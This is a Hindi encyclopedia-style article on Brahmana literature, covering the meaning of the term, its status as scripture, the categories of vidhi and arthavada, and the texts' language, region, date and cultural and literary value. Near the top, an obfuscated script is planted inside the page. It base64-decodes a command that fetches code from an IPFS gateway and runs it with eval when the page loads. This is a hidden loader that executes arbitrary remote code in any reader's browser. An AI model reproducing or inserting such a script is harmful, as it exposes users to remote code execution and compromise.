ब्राह्मण साहित्य

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ब्राह्मण साहित्य / Brahman Sahitya

ब्राह्मण-साहित्य की पृष्ठभूमि

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>उत्तर वैदिककाल में, जब वैदिक संहिताएँ धीरे-धीरे दुर्बोध होती चली गईं, मन्त्रार्थ-ज्ञान केवल कुछ विशिष्ट व्यक्तियों तक सीमित रह गया, उस समय यह आवश्यकता गहराई से अनुभव की गई कि वेद-मन्त्रों की विशद व्याख्या की जाय्। यही स्थिति वैदिक-यज्ञों के कर्मकाण्ड की भी थी। सुदीर्घकाल तक यागों का अनुष्ठान मौखिक ज्ञान के आधार पर ही होता रहा, लेकिन शनै:शनै यज्ञ-विधान जब जटिल और संश्लिष्ट प्रतीत होने लगा तथा स्थान-स्थान पर सन्देह और शंकाओं का प्रादुर्भाव होने लगा, तब इस सन्दर्भ में स्थायी आधार की आवश्यकता अनुभव हुई। ब्रह्मवादियों (यज्ञवेत्ताओं) के मध्य यागीय विसंगतियों के निराकरण के लिए सम्पन्न चर्चा-गोष्ठियों, परिसंवादों तथा सघन विचार-विमर्श ने ब्राह्मण-ग्रन्थों के प्रणयन का मार्ग विशेष रूप से प्रशस्त किया। किसी भी युग के साहित्य के मूल में, तत्कालीन सांस्कृतिक विचारधारा, राजनीतिक और सामाजिक सक्रियता, आस्थाओं, आदर्शों एवं मूल्यों की अभिव्यक्ति का दुर्निवार्य आग्रह स्वभावत: सत्रिहित रहता है। ब्राह्मण-साहित्य के अन्तर्दर्शन की पृष्ठभूमि में भी, निश्चित ही यह आकांक्षा निहित रही है। संक्षेप में कहा जा सकता है कि वेद-मन्त्रों की सुगम व्याख्या करने, यज्ञीय विधि-विधान के सूक्ष्मातिसूक्ष्म पक्षों को निरूपित करने तथा समकालीन वैचारिक आन्दोलन को दिशा देने की भावना मुख्य रूप से ब्राह्मण ग्रन्थों के साक्षात्कार की पृष्ठभूमि में निहित रही है।

ब्राह्मण शब्द का अर्थ

मन्त्र-भाग से अतिरिक्त शेष वेद-भाग ब्राह्मण है, जैसा कि जैमिनि का कथन है-'शेषे ब्राह्मणशब्द'।[१] माधवाचार्य तथा सायणाचार्य ने भी इसी लक्षण से सहमति व्यक्त की है।[२] कोश ग्रन्थों के अनुसार वेद-भाग का ज्ञापक 'ब्राह्मण' शब्द नपुंसक लिङ्ग में व्यवहार्य है।[३] इसका अपवाद केवल महाभारत का एक स्थल है, जहाँ पुल्लिंग में भी यह प्रयुक्त है।[४] ग्रन्थ के अर्थ में 'ब्राह्मण' शब्द का प्राचीन प्रयोग तैत्तिरीय संहिता में है।[५] पाणिनीय अष्टाध्यायी<balloon title="पाणिनीय, 3.4.3.6" style=color:blue>*</balloon>, निरुक्त<balloon title="निरुक्त, 4.27" style=color:blue>*</balloon> तथा स्वयं ब्राह्मण ग्रन्थों में तो एतद्विषयक पुष्कल प्रयोग दृष्टिगोचर होते हैं।<balloon title="ब्रह्म वै मन्त्र:-शतपथ ब्राह्मण, 7.1.1.5; वेदों ब्रह्म-जैमिनी उपनिषद् ब्राह्मण, 4.11.3" style=color:blue>*</balloon> व्युत्पत्ति की दृष्टि से यह 'ब्रह्म' शब्द से 'अण्' प्रत्यय लगकर निष्पन्न हुआ है। इस सन्दर्भ में सत्यव्रत सामश्रमी का अभिमत है कि 'ब्राह्मण' शब्द से ही प्रोक्त अर्थ में 'अण्' प्रत्यय लगकर 'ब्राह्मण' शब्द बना है।[६] 'ब्रह्म' शब्द के दो अर्थ हैं- मन्त्र तथा यज्ञ।[७] इस प्रकार ब्राह्मण वे ग्रन्थ विशेष हैं, जिनमें याज्ञिक दृष्टि से मन्त्रों की विनियोगात्मिका व्याख्या की गई है।[८] जिन मनीषियों ने ब्राह्मणों का मन्त्रवत् प्रामाण्य स्वीकार नहीं किया है, वे भी इन्हें वेद-व्याख्यान रूप मानते हैं।[९]

ब्राह्मण-ग्रन्थों की श्रुतिरूपता

आचार्य आपसम्ब ने मन्त्रभाग के साथ ही ब्राह्मणभाग को भी वेद ही माना है-मन्त्रब्राह्मणयोर्वेदनामधेयम् (यज्ञपरिभाषा)। इसी का अनुसरण करते हुए शबरस्वामी पितृभूति, शंकराचार्य, भट्ट कुमारिल, भवस्वामी, देवस्वामी, विश्वरूप, मेधातिथि, कर्क, धूर्तस्वामी, देवत्रात, वाचस्पति मिश्र, राजशेखर, रामानुज, उवट, मस्करी और सायणाचार्य सहित बहुसंख्यक महान् आचार्यों और भाष्यकारों ने मन्त्र-संहिताओं के साथ ही ब्राह्मणों की भी श्रुतिरूपता पर बल दिया है।[१०] पाणिनी और पतञ्जलि की भी यही अवधारणा है। इस आस्था का एक प्रमुख हेतु यह भी है कि आरण्यक और अधिकांश उपनिषद-ग्रन्थ ब्राह्मण-ग्रन्थों के ही अन्तिम भाग हैं और भारतीय दर्शनों का विशाल प्रासाद उपनिषदों की ही आधारभित्ति पर निर्मित है। ब्रह्मसूत्र, गीता और अन्य दार्शनिक सूत्रग्रन्थ पग-पग पर इनके प्रामाण्य पर अवलम्बित हैं। ऐसी स्थिति में भाष्यकर शंकराचार्य द्वारा ताण्ड्य ब्राह्मण के उद्धरण को 'ताण्डिनां श्रुति:' रूप में उपस्थापित करना स्वाभाविक ही था। आज भी वेदज्ञों का एक विशाल वर्ग इस मान्यता पर श्रद्धावान् दिखलाई देता है।[११]

ब्राह्मण-ग्रन्थों का स्वरूप और उनके प्रवचनकर्ता

ब्राह्मण-ग्रन्थों का वर्तमान स्वरूप प्रवचनात्मक और व्याख्यात्मक है। विधियों और उनके हेतु प्रभृति का निरूपण प्रवचनात्मक अंशों में है तथा विनियुक्त मन्त्रों के औचित्य का प्रदर्शन व्याख्यात्मक ढ़ग से है। दीर्घकाल तक मौखिक परम्परा से प्रचलित यज्ञीय कर्मकाण्ड का संकलन तो इनमें है ही, ब्रह्मवादियों के मध्य विद्यमान वाद-विवाद के अंशों की झलक भी यत्र-तत्र मिल जाती है। आधुनिक युग में, स्वामी दयानन्द सरस्वती और उनके आर्य समाज में दीक्षित विद्वानों ने, ब्राह्मण-ग्रन्थों को वेद न मानकर वेदव्याख्यान ग्रन्थ भर माना है। इन विचारकों की दृष्टि में, पशु-हिंसा और कहीं-कहीं यागगत अश्लील कृत्यों का उल्लेख ब्राह्मण ग्रन्थों को अपौरुषेय वेद की श्रेणी में सम्मिलित करने में बाधक है। इस विवाद में उलझे बिना भी, यह स्वीकार करने में कोई आपत्ति नहीं होनी चाहिए कि मन्त्र-संहिताओं की तुलना में ये वेद नहीं, तो 'वेदकल्प' तो हैं ही। ब्राह्मण-ग्रन्थों को श्रुतिस्वरूप स्वीकार करने वाले मनीषियों ने संहितावत् इन्हें भी अपौरुषेय ही माना है। उनकी मान्यता है कि इनका भी साक्षात्कार किया गया। जिन व्यक्तियों के नाम इनसे सम्बद्ध हैं, वे इनके रचयिता न होकर प्रवचनकर्ता ऋषि अथवा आचार्य हैं, जिन्होंने इन्हें संप्रेषित किया। भिन्न-भिन्न ब्राह्मण-ग्रन्थों के प्रवक्ता भी पृथक्-पृथक् हैं, जिनका परिचय उन ब्राह्मण ग्रन्थों के विशिष्ट विवरण के साथ प्रदेय है। यों संक्षेप में इतना ही कहा जा सकता है कि प्रवचनकर्ताओं में से कुछ ॠषि श्रेणी के हैं और अन्य आचार्य-परम्परा के। शतपथ के प्रवचनकर्ता याज्ञवल्क्य ॠषि हैं तो ऐतरेय ब्राह्मण के प्रवक्ता महिदास आचार्य माने जाते हैं।

ब्राह्मण-ग्रन्थों का प्रतिपाद्य

उपर्युक्त विवरण से स्पष्ट है कि ब्राह्मणग्रन्थों का मुख्य विषय यज्ञ का सर्वांगपूर्ण निरूपण है। इस याग-मीमांसा के दो प्रमुख भाग हैं- विधि तथा अर्थवाद। 'विधि' से अभिप्राय है यज्ञानुष्ठान कब, कहाँ और किन अधिकारियों के द्वारा होना चाहिए। याग-विधियाँ अप्रवृत्त कर्मादि में प्रवृत्त कराने वाली तथा अज्ञातार्थ का ज्ञापन कराने वाली होती हैं। इन्हीं के माध्यम से ब्राह्मणग्रन्थ कर्मानुष्ठानों में प्रेरित करते हैं, जैसा कि आपस्तम्ब का यज्ञपरिभाषा<balloon title="सूत्र 35" style=color:blue>*</balloon> में कथन है-'कर्मचोदना ब्राह्मणानि'। विधि का स्तुति और निन्दारूप में पोषण तथा निर्वाह करने वाले ब्राह्मणगत अन्य विषय अर्थवाद कहलाते हैं अर्थवादपरक वाक्यों में यज्ञनिषिद्ध वस्तुओं की निन्दा तथा यज्ञोपयोगी वस्तुओं की प्रशंसा रहती है। इस प्रकार के वाक्यों की विधि-वाक्यों के साथ 'एकवाक्यता' का उपपादन मीमांसकों ने किया है-विधिना तु एकवाक्यत्वात् स्तुत्यर्थेन विधीनां स्यु:<balloon title="जैमनीय मीमांसासूत्र 1.2.27" style=color:blue>*</balloon> उनके अनुसार विधि और अर्थवाद वचनों के मध्य परस्पर शेषशेषिभाव अथवा अङ्गाङिगभाव है। अत: शबरस्वामी के मतानुसार वस्तुत: विधियाँ ही अर्थवादादि के रूप में ब्राह्मण ग्रन्थों में दस प्रकार से व्यवह्रत हुई हैं-
हेतुर्निर्वचनं निन्दा प्रशंसा संशयो विधि:।
परक्रिया पुराकल्पो व्यवधारणकल्पना॥
उपमानं दशैवैते विधयो ब्राह्मणस्य तु।
एतद्वै सर्ववेदेषु नियतं विधिलक्षणम्<balloon title="शाबरभाष्य 2.1.11" style=color:blue>*</balloon>
इनका सोदाहरण स्पष्टीकरण इस प्रकार है-

हेतु

कर्मकाण्ड सम्बन्धी किसी विशिष्ट विधि की पृष्ठभूमि में निहित कारणवत्ता का निर्देश, यथा 'तेन ह्यन्नं क्रियते'<balloon title="शतपथ ब्राह्मण 2.5.2.23" style=color:blue>*</balloon>, अर्थात सूप से होम करना चाहिए, क्योंकि उससे अन्न को तैयार किया जाता है।

निर्वचन

व्युत्पत्ति के माध्यम से याग में प्रयोज्य पदार्थ की सार्थकता का निरूपण, यथा-तद्दध्नो दधित्वम्<balloon title="तैत्तिरीय संहिता 5.3.3" style=color:blue>*</balloon> यही दही का दहीपन है।

निन्दा

किसी अप्रशस्त वस्तु की निन्दा कर याग में उसकी अनुपादेयता का प्रतिपादन करना; यथा-'अमेध्या वै माषा:'<balloon title="तैत्तिरीय संहिता 5.1.8.1" style=color:blue>*</balloon> उड़द यज्ञ की दृष्टि से अनुपादेय है।

प्रशंसा

वायु के निमित्त क्यों यागानुष्ठान किया जाय, इसका प्रतिपादन इस रूप में किया गया है कि वायु शीघ्रगामी देवता है-वायुर्वै क्षेपिष्ठा देवता।<balloon title="तैत्तिरीय संहिता 2.1.1.1" style=color:blue>*</balloon>

संशय

इसका तात्पर्य है सन्देह, जैसे यजमान के भीतर यह सन्देह उत्पन्न हो जाए कि मैं होम करूँ कि नहीं? तदव्यचिकित्सज्जुहुवानी इमा हौषादूम्।<balloon title="तैत्तिरीय संहिता 6.5.9.1" style=color:blue>*</balloon>

विधि

औदुम्बरी (गूलर की वह शाखा, जिसके नीचे बैठकर उदगातृमण्डल सामगान करता है) कितनी बड़ी होनी चाहिए, इस विषय में यह विधान मिलता है कि वह यजमान के परिमाण (नाप) की होनी चाहिए-यजमानेन सम्मिता औदुम्बरी भवति।<balloon title="तैत्तिरीय संहिता 6.2.10.3" style=color:blue>*</balloon>

परकृति

इसका अभिप्राय है दूसरे का कार्य, यथा-माषानेव मह्यं पचति<balloon title="तैत्तिरीय संहिता 6.2.10.3" style=color:blue>*</balloon> वह मेरे लिए उड़द ही पकाता है।

पुराकल्प

तात्पर्य है पुराना आख्यान, जैसे-पुरा ब्राह्मणा अभैषु:<balloon title="तैत्तिरीय संहिता 1.5.7.5" style=color:blue>*</balloon> प्राचीन काल में ब्राह्मण डर गये।

व्यवधारणकल्पना

अभिप्राय है विशेष प्रकार का निश्चय करना। इसका उदाहरण है कि जितने घोड़ों का प्रतिग्रह करे, उतने ही वरुणदेवताक चतुष्कपालों से याग करे-यावतोऽश्वान् प्रतिगृह्णीयात्तावतो वरुणान् चतुष्कपालार्न्निवपेत्।<balloon title="तैत्तिरीय संहिता 2.3.12.1" style=color:blue>*</balloon>

उपमान

शबरस्वामी ने यद्यपि इसका उदाहरण नहीं दिया है, तथापि छान्दोग्य उपनिषद<balloon title="छान्दोग्य उपनिषद 6.8.2" style=color:blue>*</balloon> के इस अंश को प्रस्तुत किया जा सकता है-
स यथा शकुनि: सूत्रेण प्रबद्धो दिशं दिशं पतित्वा अन्यत्रायतनमलब्ध्वा बन्धनमेवोपश्रयते, एवमेव खलु सोम्य! तन्मनो दिशं दिशं पतित्वाऽन्यत्रायतन्मलब्ध्वा प्राणमेवोपश्रयते, प्राणबन्धनं हि सोम्य! मन इति।
-हे सोम्य! जैसे धागे से बँधा हुआ पक्षी हर दिशा की ओर जाकर और अन्यत्र आश्रय न पाकर बन्धन का अवलम्ब लेता है; इसी प्रकार से है सोम्य! यह मन विभिन्न दिशाओं में भटकने के बाद वहाँ, आश्रय न पाकर इस प्राण का अवलम्बन ग्रहण करता है। हे सोम्य! मन का बन्धन प्राण है।


विधि और अर्थवाद-वाक्यों की एकवाक्यता को स्पष्ट करने के लिए ताण्ड्य महाब्राह्मण से एक उदाहरण प्रस्तुत है- षष्ठ अध्याय के सप्तम खण्ड में अग्निष्टोमानुष्ठान की प्रक्रिया में बहिष्पवमान स्तोत्र के निमित्त अध्वर्यु की प्रमुखता में उद्गाता प्रभृति पाँच ॠत्विजों के सदोमण्डप से चात्वाल-स्थान तक प्रसर्पण का विधान है-बहिष्पवमानं प्रसर्पन्ति। इस प्रसर्पण के सन्दर्भ में दो नियम विहित हैं- क्वाण (मृदुपदन्यासपूर्वक) प्रसर्पण तथा वाङनियमन्। साथ ही पाँचों ॠत्विजों-अध्वर्यु, प्रस्तोता, उद्गाता, प्रतिहर्ता तथा ब्रह्मा के एक दूसरे के पीछे इसी क्रम से पंक्तिबद्ध होकर चलने का विधान है, क्योंकि यह पंक्ति है।[१२] वहीं इन नियमों के पालन से यज्ञ की शान्ति बनी रहने, और अन्य लाभों तथा हेतुओं का उल्लेख है। नियमों का पालन न करने से अनेकविध अनर्थों की सम्भावना भी उल्लिखित है। इस प्रकार ब्राह्मण-ग्रन्थों में यागानुष्ठान की विभिन्न विधियों के निरूपण में प्रशंसा और निन्दा ही नहीं, उनके औचित्य-बोधक हेतु भी दिये गये हैं। उदाहरणार्थ अग्निष्टोम याग के ही प्रसंग में ताण्ड्य-ब्राह्मण में उद्गाता के द्वारा सदोमण्डप में औदुम्बरी<balloon title="उदुम्बर वृक्ष की शाखा" style=color:blue>*</balloon> के उच्छ्रयण का विधान करते समय कहा गया है कि प्रजापति ने देवों के निमित्त अर्क् का जो विभाजन किया, उसी से उदुम्बर की उत्पत्ति हुई। अत: उदुम्बर वृक्ष प्रजापति से सम्बद्ध है और उद्गाता का भी उससे सम्बन्ध है, इसलिए जब वह औदुम्बरी का उच्छ्रयण रूप प्रथम कृत्य करता है, तब वह उसी प्रजापति नाम्नी अधिष्ठात्री दैवी शक्ति के द्वारा अपने को आर्त्विज्य-हेतु वरण कर लेता है। इसी प्रसंग में द्रोणकलशप्रोहण, जिस कृत्य के अन्तर्गत द्रोणकलश में सोम रस चुराकर रथ के नीचे रखा जाता है, का समर्थन एक आख्यायिका के द्वारा किया गया है। तदनुसार प्रजापति ने अनेक होने के लिए सृष्टि-कामना की। सृष्टिविषयक विचार करते ही उनके मस्तक से आदित्य की उत्पत्ति हुई। आदित्य ने स्वयं उत्पन्न होने के लिए प्रजापति के शिर को छिन्न कर दिया। वह छिन्न-भिन्न मूर्द्धा ही द्रोणकलश हो गया, जिसमें देवों ने शुभ्रवर्ण के चमकते हुए सोमरस को ग्रहण किया।[१३] इस आख्यायिका के माध्यम से द्रोणकलश और तत्रस्थ सोमरस में सर्जनाशक्ति से ओतप्रोत श्रेष्ठ मानसिक सामर्थ्य के अस्तित्व का उपपादन किया गया है।

इस प्रकार विधि-निर्देश के समानान्तर ही ब्राह्मण-ग्रन्थ उनकी उपयुक्तता भी विभिन्न प्रकार से बतला देते है। इस सन्दर्भ में यागों, उनकी अनुष्ठान-विधियों, द्रव्यों, सम्बद्ध देवों और विनियुक्त मन्त्रों का छन्द आदि के द्वारा औचित्य-निरूपण करते समय ब्राह्मण-ग्रन्थों के रचयिता मानवीय भावनाओं और मनोविज्ञान का सदैव ध्यान रखते हुए यजमान के सम्मुख उस कृत्य विशेष के अनुष्ठान से होने वाली लाभ-हानि का यथावत् विवरण प्रस्तुत करने का प्रयत्न करते हैं। अग्निष्टोम याग का अनुष्ठान व्यक्ति क्यों करें? उससे क्या लाभ हो सकता है? इसे जाने बिना व्यक्ति मानवीय स्वभाव के अनुसार यज्ञ में प्रवृत्त ही नहीं हो सकता। इस बिन्दु पर ब्राह्मणग्रन्थ उसे आश्वस्त कर देते हैं कि यह वस्तुत: समस्त फलों का साधन होने के कारण मुख्य है, इसके विपरीत अन्य याग एक-एक फल देने वाले हैं, इसलिए अग्निष्टोम के अनुष्ठान से समस्त फल प्राप्त होते हैं।[१४] इस सामान्य निर्देश के अनन्तर विस्तार से यह बतलाया गया है कि इसके अनुष्ठान से पशु-समृद्धि, ब्रह्मवर्चस्-प्राप्ति आदि पृथक-पृथक फलों की प्राप्ति भी हो सकती है।

जहाँ तक विभिन्न यज्ञ-कृत्यों में विनियुक्त मन्त्रों के औचित्यप्रदर्शन की बात है, ब्राह्मणग्रन्थ उस बिन्दु के अनावरण का पूर्ण प्रयत्न करते हैं, जिसके कारण उस मन्त्रविशेष का किसी कृत्यविशेष में विनियोग किया गया है। ब्राह्मण-ग्रन्थों की पारिभाषिक शब्दावली में यह रूप-समृद्धि कहलाती है। रूप-समृद्धि, जिसका स्थूल अभिप्राय क्रियमाण कर्म के साथ विनियुक्त मन्त्र का अत्यन्त घनिष्ठ सम्बन्ध है, से स्वयं यज्ञ समृद्ध होता है।[१५] इस प्रकार रूप-स्मृद्धि का वास्तविक तात्पर्य तत्तत् विशिष्ट कृत्य के सन्दर्भ में विनियुक्त मन्त्र की सार्थकता का प्रदर्शन है। जहाँ सीधे विनियुक्त स्तोत्रिया के अर्थ से औचित्य की प्रतीति नहीं हो पाती, वहाँ ब्राह्मणग्रन्थ मन्त्रगत देवों से कृत्य को सम्बद्ध करते हैं। उदाहरण के लिए किसी दीर्घरोगी की रोग-निवृत्ति के लिए<balloon title="तांण्डय ब्राह्मण (6.10.4)" style=color:blue>*</balloon> में 'आ नो मित्रावरुणा घृतैर्गव्यूतिमुक्षतम्। मध्वा रजांसि सुक्रतू'<balloon title="साम. 220" style=color:blue>*</balloon> मन्त्र का विनियोग है। आपातत: इस ऋक् के अर्थ से रोग-निवृत्ति का सम्बन्ध प्रतीत नहीं होता है, किन्तु यहाँ भी प्रकारान्तर से सम्बन्ध निरूपित है। ताण्ड्य ब्राह्मणकार का कथन है कि दीर्घरोगी के प्राण और अपान अपक्रान्त हो जाते हैं, जबकि प्राण और अपान की समान स्थिति पर ही आरोग्य निर्भर है। प्राण और अपान की तथाकथित समस्थिति मित्र और वरुण की अनुकूलता पर अवलम्बित है, क्योंकि इन दोनों से उनका घनिष्ठ सम्बन्ध है। प्राणापान वस्तुत: अहोरात्ररूप है और दिन के देव मित्र है तथा रात्रि के वरुण। इन दोनों के आनुकूल्य अर्जुन से शरीर में प्राण और अपान की यथावत् स्थिति बनी रहती है। अत: दीर्घरोगी की रोग-निवृत्ति के सन्दर्भ में उपर्युक्त ऋक् का गान सर्वथा उपयुक्त है। इनके साथ ही ब्राह्मणग्रन्थों में निरुक्तियाँ और आख्यायिकाएं भी पुष्कल परिमाण में प्राप्त होती हैं।

ब्राह्मणों की भाषा, रचना-शैली तथा साहित्यिक प्रवृत्तियाँ

ब्राह्मणग्रन्थों की भाषा सामान्यत: वैदिकी और लौकिक संस्कृत की मध्यवर्तिनी है। मन्त्र-संहिताओं की अपेक्षा इस भाषा में अधिक नियमबद्धता, सुसंहति, सरलता और प्रवाहमयता है। इसमें कठिन सन्धियाँ और दुरूह समास प्राय: नहीं हैं। रूपरचना में यत्र-तत्र अपाणिनीयता का अनुभव स्वाभाविक है। उपसर्गों का उन्मुक्त प्रयोग पूर्ववत् है। निपातों का भी बाहुल्य है। वाक्य आवश्यकता के अनुरूप छोटे और लम्बे दोनों प्रकार के हैं, लेकिन संस्कृत गद्य-काव्यों की गौडी और पांचाली शैली की सुदीर्घ वाक्य-रचना प्राय: कहीं भी नहीं है। संवादमयता से युक्त होने के कारण इस भाषा में विशेष जीवन्तता है। अस्पष्टता से बचने का प्रयास सर्वत्र परिलक्षित होता है।

ब्राह्मण-ग्रन्थों की रचना पूर्णरूप से गद्य में हुई हैं। किन्तु बीच-बीच में उस युग में बहु-प्रचलित पद्यबद्ध गाथाएँ भी समाविष्ट हो गई हैं, जैसे हरिश्चन्द्रोपाख्यान<balloon title="ऐतरेय ब्राह्मण" style=color:blue>*</balloon> में अभिव्यक्ति की सबलता के लिए उपमाओं और रूपकों का प्रचुर प्रयोग है। कहीं-कहीं लाक्षणिकता के भी दर्शन होते हैं। शतपथ और तैत्तिरीय ब्राह्मणों की भाषा स्वराङ्कित है, लेकिन ताण्डय, शांखायन ब्राह्मण और ऐतरेय ब्राह्मणों की भाषा के मुद्रितपाठ में स्वराङ्कन का अभाव होने पर भी, पारम्परिक वैदिक इनका उच्चारण सस्वर रूप में करते हैं। इससे प्रतीत होता है कि कदाचित् इनकी भाषा भी सस्वर ही रही होगी। सुबन्त और तिडन्त रूपों के प्रयोग के दृष्टि से जैमिनीय-ब्राह्मण की भाषा अपेक्षाकृत अधिक प्राचीन मानी जाती है। इसके विपरीत ऐतरेय और ताण्ड्य ब्राह्मणों की भाषा अधिक व्यवस्थित, नियमनिष्ठ और प्रवाहपूर्ण है।

ब्राह्मणग्रन्थों का देश-काल

ब्राह्मणग्रन्थों में मध्यदेश का उल्लेख विशेष आदर से है- 'ध्रुवायां मध्यमायां प्रतिष्ठायां दिशि'।<balloon title="ऐतरेय ब्राह्मण 8.4" style=color:blue>*</balloon> देश के इस मध्यभाग में कुरु-पाञ्चाल, शिवि, सौवीर प्रभृति जनपद सम्मिलित थें उस समय भारत के पूर्व में विदेह इत्यादि जातियों का राज्य था। दक्षिण में भोजराज्य तथा पश्चिम में नीच्य और अवाच्य राज्य थे। काशी, मत्स्य, कुरुक्षेत्र का उल्लेख भी ब्राह्मणों में है। शतपथ में गान्धार, केकय, शाल्य, कोसल, सृंजय आदि जनपदों का विशेष उल्लेख है। ताण्ड्य-ब्राह्म में कुरु-पांचाल जनपदों से नैमिषारण्य और खाण्डव वनों के मध्यवर्ती भूभाग की विशेष चर्चा है। इसी ब्राह्मण में सरस्वती और उसकी सहायक नदियों के उद्गम और लोप का विवरण है। कहा गया है कि 'विनशन' नामक स्थान पर सरस्वती लुप्त हो गई थी और 'प्लक्षप्रासवण' में पुन: उसका उद्गम हुआ था। गंगा और यमुना नदियों का भी उल्लेख है। यमुना 'कारपचव' प्रदेश में प्रवाहित होती थी। ब्राह्मण-ग्रन्थों के क्रिया-कलाप का प्रमुख क्षेत्र यही सारस्वत-मण्डल और गंगा-यमुना की अन्तर्वेदी रही है। जैमिनीयोपनिषद्-ब्राह्मण में कुरु-पांचाल जनपदों में रहने वाले विद्वानों के विशेष गौरव की चर्चा है। गोपथ ब्राह्मण में वसिष्ठ, विश्वामित्र जमदग्नि, गौतम प्रभृति ऋषियों के आश्रमों की स्थिति, विपाशा नदी के तट तथा वसिष्ठ शिला प्रभृति स्थानों पर बतलाई गई है। वैदिक-साहित्य के प्रणयन का काल-निर्णय अद्यावधि विवादास्पद है, किन्तु विभिन्न मतों में निहित तथ्यों की तुलनात्मक समीक्षा करते हुए ब्राह्मणग्रन्थों का रचनाकाल सामान्यत: तीन सहस्र ई. पूर्व से लेकर दो सहस्त्र ई. पूर्व के मध्य माना जा सकता है।

ब्राहृमणग्रन्थों का सांस्कृतिक वैशिष्ट्य

ब्राह्मण-ग्रन्थों की सर्वाधिक उपादेयता यज्ञ-संस्था के उद्भव और विकास को समझने की दृष्टि से है। यज्ञों के स्वरूप और सूक्ष्मातिसूक्ष्म कार्य-कलाप की कार्य-कारण-मीमांसा ब्राह्मणग्रन्थों की अपनी विशिष्ट उपलब्धि है। यज्ञ-संस्था वैदिक धर्म की धुरी है। शबरस्वामी ने याग के अनुष्ठाता को ही धार्मिक कहा है।[१६] सम्पूर्ण वैदिक मन्त्रराशि (आम्नाय) को क्रियार्थक सिद्ध करने में ही ब्राह्मणग्रन्थों और पूर्वमीमांसा ने अपनी सार्थकता समझी है। एक दिन से लेकर सहस्रसंवत्सर-साध्य यागों के विस्तृत विधि-विधान की प्रस्तुति में, ब्राह्मणग्रन्थों के योगदान का पूर्ण आकलन दु:साध्य ही है। आज श्रौतयागों के सम्पादन का वातावरण भले ही न हो, किन्तु युगविशेष में उनके प्रचुर प्रचलन की उपेक्षा नहीं की जा सकतीं आज भी, विज्ञान की मान्यताओं के सन्दर्भ में उनकी उपादेयता को प्रबुद्ध वर्ग स्वीकार कर ही रहा है। कालान्तर, से यज्ञों के द्रव्यात्मक रूप में साथ ही स्वाध्याय और जप-यज्ञ की अवधारणाएँ सम्मिलित हो गईं। समय के परिवर्तन के साथ ही अनेक वैदिक यज्ञों में तान्त्रिक क्रियाओं का समावेश भी होता रहा। ब्राह्मणग्रन्थ इन सभी परिवर्तनों के साक्षी हैं।

गंगा, यमुना की अन्तर्वेदी और सरस्वती के तटों पर निवास करने वाले जन-समुदाय की सम्पूर्ण धार्मिक आस्थाओं की संचिकाएँ हैं ब्राह्मणग्रन्थ। धर्म का यज्ञ-यागात्मक स्वरूप आज सरस्वती की धारा के समान ही इंगितवेद्य हो चुका है। विद्वानों का विचार है कि भक्ति-आन्दोलन की प्रबलता ने भी व्ययसाध्य यज्ञों के सम्पादन के स्थान पर अन्य क्रियाओं को प्रोत्साहन दिया। धर्म के द्वितीय स्वरूप जिसका निर्माण स्वाध्याय, मन्त्र-जप, तीर्थ-दर्शन और व्रत-उपवासों से हुआ है, को भी ब्राह्मणग्रन्थों में अभिव्यक्ति मिली। गंगा की निर्मल धारा के समान धर्म का यह रूप आज भी जनमानस का सबसे बड़ा सम्बल है। धर्म के तृतीय रूप में टोने-टोटके, अभिचार-कृत्य और झाड़-फूँक आते हैं। यह समाज के सामान्यवर्ग में अत्यन्त प्राचीन काल से ही प्रचलित रहा है। यमुना की नील-शबल जलराशि से इसकी समानता प्रतीत होती है। अथर्ववेद के अनन्तर सामविधान और षड्विंश ब्राह्मण प्रभृति ब्राह्मण-ग्रन्थों ने इन धार्मिक आस्थाओं को भी ऋचाओं और सामों की उदात्तता से मण्डित करने की चेष्टा की। ब्राह्मण-ग्रन्थों में विद्यमान इस त्रिविध स्वरूप का ही उपबृंहण कालान्तर से स्मृतियों तथा इतिहास और पुराणसाहित्य में हुआ। प्राचीन भारतीय इतिहास, भूगोल और आचार-व्यवहार की दृष्टि से भी ब्राह्मण-ग्रन्थों की उपादेयता असन्दिग्ध है। महर्षि यास्क ने 'निरुक्त' में जिस 'धात्वर्थवाद' का पल्लवन किया, उसका बीजारोपण ब्राह्मणों में ही हो चुका था।

ब्राह्मण- ग्रन्थों का साहित्यिक वैशिष्टय

सम्प्रति मैक्समूलर और उनके अनुयायियों की वह धारणा निर्मूल सिद्ध हो चुकी है कि ब्राह्मण ग्रन्थों में कलात्मक चेतना के अवशेष नहीं हैं। ब्राह्मणग्रन्थों के गम्भीर अनुशीलन से अब यह प्रोद्भासित हो चुका है कि अनुभूति और अभिव्यक्ति दोनों ही दृष्टियों से ब्राह्मण ग्रन्थों में उत्कृष्ट साहित्यिक सौष्ठव सन्निहित है। इनकी अभिव्यक्ति-भंगिमाओं की रमणीयता पाठक-ह्रदय को पुलक-पल्ल्वित कर देती है। ब्राह्मण ग्रन्थों का प्रणयन यद्यपि काव्यात्मक सौन्दर्य के उन्मीलन हेतु नहीं हुआ है और उनका प्रमुख प्रतिपाद्य भी काव्य नहीं याग ही है, तथापि इनके रचयिताओं का अन्त:करण नि:सन्देह कलात्मक चेतना से अनुप्राणित रहा है। याग के सुनिश्चित व्यापारों की प्रस्तुति करते समय भी उन्होंने कल्पना-प्रवणता का परिचय दिया है। सामवेदिय ब्राह्मणग्रन्थों को इस सन्दर्भ में निदर्शनरूप में रखा जा सकता है, जिनमें स्तोमों और विष्टुतियों की योजना करते हुए केवल दृष्ट और अदृष्ट पुण्य-लाभ की ही दृष्टि नहीं रही है। उनके सम्मुख-स्तोत्र-क्लृप्ति के सन्दर्भ में यह दृष्टि भी स्पष्टरूप से हो रही है कि गानों की प्रस्तुति में कलात्मकता रहे, पतिवेश श्रुति-मधुर हो उठे, पुनरुक्ति न हो और क्रियमाण साम-गान सम्पूर्ण वातावरण को सरस बना दे।

